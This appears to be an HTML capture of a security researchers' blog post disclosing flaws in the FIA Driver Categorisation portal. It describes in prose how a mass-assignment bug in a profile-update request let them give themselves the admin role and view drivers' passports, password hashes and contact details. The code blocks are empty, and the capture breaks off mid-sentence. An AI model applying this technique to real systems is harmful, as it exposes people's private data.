PageSourceSearch

https://ian.sh/fia

html ian.sh collected 2026-10-01 12:28:48 UTC 221,526 bytes, 872 lines download raw bytes

1<!DOCTYPE html><html lang="en" dir="ltr"><head><meta charSet="utf-8"/><link rel="preconnect" href="/" crossorigin=""/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" as="image" imageSrcSet="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=640 640w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=750 750w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=828 828w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1080 1080w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1200 1200w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1920 1920w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=2048 2048w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=3840 3840w" imageSizes="100vw"/><link rel="stylesheet" href="/styles/static.css" data-precedence="default"/><link rel="stylesheet" href="/styles/notion.css" data-precedence="default"/><link rel="stylesheet" href="/styles/super.css" data-precedence="default"/><link rel="stylesheet" href="/_next/static/chunks/16sz9a438v8dy.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/2l8zr1i2h4s0n.js"/>
1<script src="/_next/static/chunks/39lh7h2mq0kht.js" async=""></script>
1<script src="/_next/static/chunks/35e6ihb8m-ok8.js" async=""></script>
1<script src="/_next/static/chunks/2w35j0myr5uh6.js" async=""></script>
1<script src="/_next/static/chunks/10-69h2xev3ek.js" async=""></script>
1<script src="/_next/static/chunks/turbopack-14fm30rxd4vnq.js" async=""></script>
1<script src="/_next/static/chunks/0ylgcnss9ue9v.js" async="" crossorigin=""></script>
1<script src="/_next/static/chunks/1dlft7ht-6kzk.js" async=""></script>
1<script src="/_next/static/chunks/1xt6zdl-o7wg3.js" async=""></script>
1<script src="/_next/static/chunks/0rr5btioklgf4.js" async=""></script>
1<script src="/_next/static/chunks/2matreab0rub0.js" async=""></script>
1<script src="/_next/static/chunks/2z5wb7vhdi3hf.js" async=""></script>
1<script src="/_next/static/chunks/3cmvik1zogxvy.js" async=""></script>
1<script src="/_next/static/chunks/2ggeb0g51xxjo.js" async="" crossorigin=""></script>
1<script src="/_next/static/chunks/0tebe-k_4bvw8.js" async=""></script>
1<script src="/_next/static/chunks/08sikk1eypppo.js" async=""></script>
1<script src="/_next/static/chunks/1thlt7ghjj4x5.js" async=""></script>
1<script src="/_next/static/chunks/41l0cu_krzrbf.js" async=""></script>
1<link rel="icon" href="https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><title>Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs</title><meta name="description" content="We found vulnerabilities in the FIA&#x27;s Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta name="generator" content="Super"/><meta name="robots" content="index, follow"/><meta property="og:title" content="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs"/><meta property="og:description" content="We found vulnerabilities in the FIA&#x27;s Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta property="og:url" content="https://ian.sh/fia"/><meta property="og:site_name" content="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs"/><meta property="og:locale" content="en-US"/><meta property="og:image" content="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=85&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb"/><meta property="og:image:alt" content="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs"/><meta name="twitter:description" content="We found vulnerabilities in the FIA&#x27;s Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta name="twitter:image" content="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=85&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb"/><meta name="twitter:image:alt" content="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs"/>
1<script>
2  (function () {
3    if (typeof Node !== "function" || !Node.prototype || Node.prototype.__superDomGuard) {
4      return;
5    }
6    Node.prototype.__superDomGuard = true;
7
8    var originalRemoveChild = Node.prototype.removeChild;
9    Node.prototype.removeChild = function (child) {
10      if (child && child.parentNode !== this) {
11        if (typeof console !== "undefined" && console.warn) {
12          console.warn("[super] skipped removeChild for node not in this parent", child, this);
13        }
14        return child;
15      }
16      return originalRemoveChild.apply(this, arguments);
17    };
18
19    var originalInsertBefore = Node.prototype.insertBefore;
20    Node.prototype.insertBefore = function (newNode, referenceNode) {
21      if (referenceNode && referenceNode.parentNode !== this) {
22        if (typeof console !== "undefined" && console.warn) {
23          console.warn("[super] skipped insertBefore for reference node not in this parent", referenceNode, this);
24        }
25        return newNode;
26      }
27      return originalInsertBefore.apply(this, arguments);
28    };
29  })();
30</script>
30<script>
31    const html = document.getElementsByTagName("html")[0];
32    try {
33      const colorPreference = localStorage
34        ? localStorage.getItem("color-preference")
35        : null;
36
37      if (false) {
38        html.classList.remove("undefined");
39      }
40      
41      if (false && colorPreference && html) {
42        html.classList.add("theme-" + colorPreference);
43      } else {
44        html.classList.add("theme-default");
45      }
46    } catch (e) {
47      console.log('ERROR themeEffect', e)
48      html.classList.add("theme-default");
49    }
50</script>
50<style>
51      @font-face {
52        font-family: "Inter";
53        font-style: normal;
54font-display: swap;
55        font-weight: 400;
56        src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot"); /* IE9 Compat Modes */
57        
58          src: local(""),
59            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot?#iefix")
60            format("embedded-opentype"),
61            /* IE6-IE8 */
62            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2")
63            format("woff2"),
64            /* Super Modern Browsers */
65            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff")
66            format("woff"),
67            /* Modern Browsers */
68            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.ttf")
69            format("truetype"),
70            /* Safari, Android, iOS */
71            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.svg#Inter")
72            format("svg"); /* Legacy iOS */
73        
74      }
75    
76      @font-face {
77        font-family: "Inter";
78        font-style: normal;
79font-display: swap;
80        font-weight: 500;
81        src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot"); /* IE9 Compat Modes */
82        
83          src: local(""),
84            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot?#iefix")
85            format("embedded-opentype"),
86            /* IE6-IE8 */
87            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2")
88            format("woff2"),
89            /* Super Modern Browsers */
90            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff")
91            format("woff"),
92            /* Modern Browsers */
93            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.ttf")
94            format("truetype"),
95            /* Safari, Android, iOS */
96            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.svg#Inter")
97            format("svg"); /* Legacy iOS */
98        
99      }
100    
101      @font-face {
102        font-family: "Inter";
103        font-style: normal;
104font-display: swap;
105        font-weight: 600;
106        src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot"); /* IE9 Compat Modes */
107        
108          src: local(""),
109            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot?#iefix")
110            format("embedded-opentype"),
111            /* IE6-IE8 */
112            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2")
113            format("woff2"),
114            /* Super Modern Browsers */
115            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff")
116            format("woff"),
117            /* Modern Browsers */
118            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.ttf")
119            format("truetype"),
120            /* Safari, Android, iOS */
121            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.svg#Inter")
122            format("svg"); /* Legacy iOS */
123        
124      }
125    
126      @font-face {
127        font-family: "Inter";
128        font-style: normal;
129font-display: swap;
130        font-weight: 700;
131        src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot"); /* IE9 Compat Modes */
132        
133          src: local(""),
134            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot?#iefix")
135            format("embedded-opentype"),
136            /* IE6-IE8 */
137            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2")
138            format("woff2"),
139            /* Super Modern Browsers */
140            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff")
141            format("woff"),
142            /* Modern Browsers */
143            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.ttf")
144            format("truetype"),
145            /* Safari, Android, iOS */
146            url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.svg#Inter")
147            format("svg"); /* Legacy iOS */
148        
149      }
150    
151      @font-face {
152        font-family: "Inter-fallback";
153        size-adjust: 107%;
154        ascent-override: 90%;
155        src: local("Arial");
156      }
157    </style><style>html{font-size:16px}</style>
157<script defer="" data-domain="ian.sh" src="https://plausible.io/js/script.js"></script>
157<script src="/_next/static/chunks/0cz1d0mv5g_q7.js" noModule=""></script>
157</head><body><div hidden=""><!--$--><!--/$--></div><div class="super-root"><div class="super-content-wrapper"><main id="page-fia" class="super-content page__fia parent-page__index"><nav class="notion-navbar"><div class="notion-navbar__content"><div class="notion-breadcrumb"><a id="block-eb5f7782eeca437f927323f450f8f3dc" href="/" class="notion-link notion-breadcrumb__item" data-server-link="true" data-link-uri="/"><div class="notion-navbar__title notion-breadcrumb__title">ian carroll</div></a><span class="notion-breadcrumb__divider">/</span><a href="/fia" class="notion-link notion-breadcrumb__item" data-server-link="true" data-link-uri="/fia"><div class="notion-navbar__title notion-breadcrumb__title">Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs</div></a></div><div class="notion-navbar__actions"></div></div></nav><div class="notion-header page"><div class="notion-header__cover has-cover no-icon"><span data-full-size="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a" data-lightbox-src="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a" style="display:contents"><img alt="Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs" decoding="async" data-nimg="fill" class="notion-header__cover-image" style="position:absolute;height:100%;width:100%;left:0;top:0;right:0;bottom:0;object-fit:cover;object-position:center 50%;color:transparent" sizes="100vw" srcSet="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=640 640w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=750 750w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=828 828w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1080 1080w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1200 1200w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=1920 1920w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=2048 2048w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=3840 3840w" src="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&amp;q=90&amp;fm=jpg&amp;crop=entropy&amp;cs=srgb&amp;w=3840"/></span></div><div class="notion-header__content max-width has-cover no-icon"><div class="notion-header__title-wrapper"><h1 class="notion-header__title">Hacking Formula 1: Accessing Max Verstappen&#x27;s passport and PII through FIA bugs</h1></div></div></div><article id="block-fia" class="notion-root max-width"><span class="notion-heading__anchor" id="2843b9a56b2b80979101f9b033ee868e"></span><h2 id="block-2843b9a56b2b80979101f9b033ee868e" class="notion-heading notion-semantic-string">Introduction</h2><p id="block-2843b9a56b2b8097bc26ca6042b21f8e" class="notion-text notion-text__content notion-semantic-string">With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team&#x27;s cybersecurity partner.</p><p id="block-2843b9a56b2b805eabf5f59ca0a8f535" class="notion-text notion-text__content notion-semantic-string">Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, <a href="https://x.com/galnagli" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/galnagli">Gal Nagli</a>, <a href="https://x.com/samwcyo" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/samwcyo">Sam Curry</a>, and <a href="https://x.com/iangcarroll" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/iangcarroll">I</a> thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.</p><p id="block-2843b9a56b2b80e9946ad5373696cf37" class="notion-text notion-text__content notion-semantic-string"><em>This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.</em></p><span class="notion-heading__anchor" id="2843b9a56b2b80d68646e104a77c5b59"></span><h2 id="block-2843b9a56b2b80d68646e104a77c5b59" class="notion-heading notion-semantic-string">Finding F1 Driver Licenses</h2><p id="block-2853b9a56b2b80e980c8f60607a86708" class="notion-text notion-text__content notion-semantic-string">To race in Formula 1, drivers hold an <strong>FIA Super Licence</strong>. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.</p><p id="block-2853b9a56b2b80cebbb9da00c1df0b23" class="notion-text notion-text__content notion-semantic-string">F1 drivers often compete outside Grands Prix as well, where the FIA uses a <strong>Driver Categorisation</strong> (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at <strong>drivercategorisation.fia.com</strong>, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.</p><div id="block-2843b9a56b2b805ab50cdacf67253c2b" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public" style="display:contents"><img alt="The public login page for the Driver Categorisation portal.." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b80ad80a9fcc06676ce2a" class="notion-text notion-text__content notion-semantic-string">After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:</p><div id="block-2843b9a56b2b800d9d02c26034778a4e" class="notion-code"><button class="notion-code__copy-button">
157<svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:0"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80f3a8fed3a5f1de5edc" class="notion-text notion-text__content notion-semantic-string">The HTTP request to update our profile didn&#x27;t really have many interesting attributes, but the JSON returned in the response had a lot of extra values:</p><div id="block-2843b9a56b2b8092b49bf4490c4e025c" class="notion-code"><button class="notion-code__copy-button"><svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:1"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b806fa8b9c037bc6d871e" class="notion-text notion-text__content notion-semantic-string">The JSON HTTP response for updating our own profile contained the &quot;roles&quot; parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.</p><div id="block-2843b9a56b2b80fbbb97f879ca7e4cda" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public" style="display:contents"><img alt="JavaScript from the FIA Driver Categorisation portal." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b8076b206eecaa9e88245" class="notion-text notion-text__content notion-semantic-string">Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:</p><div id="block-2843b9a56b2b80659cddc18d808ccd83" class="notion-code"><button class="notion-code__copy-button">
157<svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:2"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80d8afa4f739a308aefe" class="notion-text notion-text__content notion-semantic-string">Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.</p><div id="block-2843b9a56b2b8021ba9edadcbe414786" class="notion-code"><button class="notion-code__copy-button"><svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:3"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80128aa5e4634df8e8e3" class="notion-text notion-text__content notion-semantic-string">We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.</p><div id="block-2843b9a56b2b809b971ed611ad91ac3b" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public" style="display:contents"><img alt="Accessing the driver categorisation portal as an administrator." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b800db3faf7a7226c16df" class="notion-text notion-text__content notion-semantic-string">To validate our finding, we attempted to load a driver&#x27;s profile and observed the user&#x27;s password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal 
